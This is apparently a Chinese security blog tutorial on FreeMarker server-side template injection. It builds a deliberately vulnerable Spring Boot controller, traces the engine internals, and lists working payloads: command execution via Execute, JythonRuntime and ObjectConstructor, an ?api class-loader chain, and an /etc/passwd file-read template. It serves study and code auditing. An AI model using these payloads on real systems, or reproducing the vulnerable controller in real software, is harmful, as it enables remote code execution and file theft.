前言
在看代码审计的时候遇到模板注入,突然想到还没有学习到这个知识点,是时候补上了。
FreeMarker
FreeMarker是一个基于Java的模板引擎,用于生成文本输出,它可以使开发者在开发的时候能够将数据与模板分离。模板文件存放在Web服务器上,当访问指定模版文件时, FreeMarker会动态转换模板,用最新的数据内容替换模板中 ${...}
的部分,然后返回渲染结果。FreeMarker模板引擎中使用的模板语言是FTL(FreeMarker Template Language),FTL提供了一种简单而强大的方式来生成文本内容。
FreeMarker模版语言说明
文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出
插值:语法为 ${}
, 这部分的输出会被模板引擎计算的值来替换。
指令标签:<# >
或者 <@ >
。如果指令为系统内建指令,如assign时,用<# >
。如果指令为用户指令,则用<@ >
。利用中最常见的指令标签为<#assign>
,该指令可创建变量。
注释:由 <#--
和-->
表示,注释部分的内容会 FreeMarker 忽略
FreeMarker简单使用
我这里为了方便直接使用Springboot来搭建,选择阿里云的脚手架。

Spring原生支持FreeMarker,勾选上Spring Web和FreeMarker

写一个简单的controller,在resources建立templates里面放模板文件

模板内容
1 2 3 4 5 6 7 8 9
| <!DOCTYPE html> <html> <head> <title>FreeMarker Example</title> </head> <body> <h1>Hello, ${name}!</h1> </body> </html>
|
还有一个点需要注意,如果你像我这样配置,需要把Springboot的配置文件模板加载位置改为
1
| spring.freemarker.template-loader-path=classpath:/templates/
|
当我们传入name=Sp4rks3时替换模板中的 ${name}。由于我们输入可控,会不会有风险呢?

FreeMarker模版注入
当我们使用网上的payload直接去打的时候,我们发现根本行不通,freemarker直接给渲染出来了。
1
| <#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}
|

只有我们往模板插payload,然后再访问才能触发payload。
1 2 3 4 5 6 7 8 9 10
| <!DOCTYPE html> <html> <head> <title>FreeMarker Example</title> </head> <body> <h1>Hello, ${name}!</h1> <h3><#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}</h3> </body> </html>
|

在这里你可能回想要想实现命令执行那么岂不是得控制模板内容,当前场景下确实是这样的,可能你还会说这个得有多么的鸡肋,其实不然,有些CMS应用后台会提供模板的编辑功能和模板自定义功能,此时我们便可以控制模板文件来进行恶意的攻击操作,Freemarker可利用的点在于模版语法本身,直接渲染用户输入payload会被转码而失效。
但,仅仅是这样么?下面我再写一个controller,这个是根据github上一个star数挺高的项目改编而来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package org.example.sstivuln.controller;
import freemarker.cache.StringTemplateLoader; import freemarker.template.Configuration; import freemarker.template.Template; import freemarker.template.TemplateException; import org.springframework.web.bind.annotation.*;
import java.io.IOException; import java.io.StringWriter; import java.util.HashMap; import java.util.Map;
@RestController public class FreemarkerVulnController { private final Configuration cfg; private final StringTemplateLoader templateLoader;
public FreemarkerVulnController() { this.cfg = new Configuration(Configuration.VERSION_2_3_30); this.templateLoader = new StringTemplateLoader(); cfg.setTemplateLoader(templateLoader); }
@RequestMapping("/vuln") public String renderTemplate(@RequestParam String template) throws IOException, TemplateException { String templateName = "userTemplate"; templateLoader.putTemplate(templateName, template);
Template freemarkerTemplate = cfg.getTemplate(templateName);
Map<String, Object> dataModel = new HashMap<>();
StringWriter out = new StringWriter(); freemarkerTemplate.process(dataModel, out);
return out.toString(); } }
|
这个controller直接把用户的输入作为模板来直接处理,从而也会导致漏洞。我们再试试payload。
1
| <#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}
|
可以发现,这次就可以直接解析我们的payload。

所以攻击场景差不多有三种
- 文件上传ftl文件
- 网站提供修改模板的功能
- 如果有可控漏洞点,并且把我们的输入当成模板解析,那就可以直接用layload打
FreeMarker模版注入分析
对于Springboot视图渲染流程大家可以看这一篇文章—spring mvc(六):请求执行流程(三)之视图渲染,下面主要是对模板的解析过程进行一个简易的分析。
当前模板是我输入的<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}
,dataModel是模板中的变量数据通过HashMap存储,我这里啥也没put,不重要。out是模板渲染后的最终输出。

一路跟进process,重点是打断点的地方,意思是通过visit方法处理模板的根节点。跟进它

来看详细的代码,由于FreeMarker 语法支持在同一语句中包含不同的元素,比如变量赋值 (<#assign>
) 和 插值表达式 (${}
),这些元素会被解析成不同的 TemplateElement
,并且交给各自的 accept()
方法处理。FreeMarker 通过压栈记录当前解析的元素,并递归调用 visit(el)
遍历其子元素。不同类型的 TemplateElement
(如 Assignment
处理 <#assign>
,DollarVariable
处理 ${}
)会调用各自的 accept()
方法进行解析和执行。当前处理的类是 Assignment
,不是重点,我这里直接跳过

来到DollarVariable的accept方法,调用了calculateInterpolatedStringOrMarkup方法来处理,跟进eval方法。

如果表达式有缓存的值直接调用,缓存的值,当然我们现在是没有的,直接调用_eval

_eval()方法用来执行FreeMarker变量或方法调用,如果target是TemplateMethodModel,就执行并返回结果,如果是Macro,就调用宏函数。

我们可以看到 targetMethod
目前就是我们payload当中构造的那个能够进行命令执行的类,也就是说这一个语句相当于
1 2 3 4 5
| Object result = targetMethod.exec(argumentStrings)
// 等价于
Object result = freemarker.template.utility.Execute.exec(argumentStrings)
|
最后Runtime.getRuntime().exec( aExecute );

载荷扩展
我们当前的payload是
1
| <#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}
|
这是因为 FreeMarker 的内置函数 new 导致的,下面介绍FreeMarker的两个内置函数—— new
和api
。
内置函数new
可创建任意实现了TemplateModel
接口的Java对象,同时还可以触发没有实现 TemplateModel
接口的类的静态初始化块。
以下常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel
接口的freemarker.template.utility.Execute
、freemarker.template.utility.JythonRuntime
和freemarker.template.utility.ObjectConstructor

1
| <#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}
|
freemarker.template.utility.JythonRuntime 类可以通过自定义标签的方式执行Python命令,从而构造远程命令执行。当然是需要有Jython的依赖
1 2 3 4 5
| <dependency> <groupId>org.python</groupId> <artifactId>jython-standalone</artifactId> <version>2.7.0</version> </dependency>
|
1
| <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")</@value>
|
freemarker.template.utility.ObjectConstructor类会把它的参数作为名称构造一个实例化对象,具体代码如下所示:

所以payload为
1
| <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","cmd.exe","/c","calc").start()}
|
内置函数api
value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod()
或 value?api.someBeanProperty
。可通过 getClassLoader
获取类加载器从而加载恶意类,或者也可以通过 getResource
来实现任意文件读取。
但是,当api_builtin_enabled
为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。
可以通过springboot启动配置,配置:spring.freemarker.settings.api_builtin_enabled=true 打开
命令执行payload:
1 2 3 4 5 6
| <#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("Calc"")}
|
备注:这里利用载荷是要把上面的Object替换替换成可编辑模板中可用的真实的Object后利用才行
读取文件的payload:
1 2 3 4 5 6 7 8 9
| <#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
|
1 2 3 4 5 6 7 8 9
| <#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
|
感觉挺鸡肋的,没测过。
参考链接
常用框架快速整合
spring mvc(六):请求执行流程(三)之视图渲染
探索spring下SSTI通用方法
JAVA安全之FreeMark模板注入刨析
服务器端模版注入SSTI分析与归纳
文章 - JAVA安全之FreeMark模板注入刨析 - 先知社区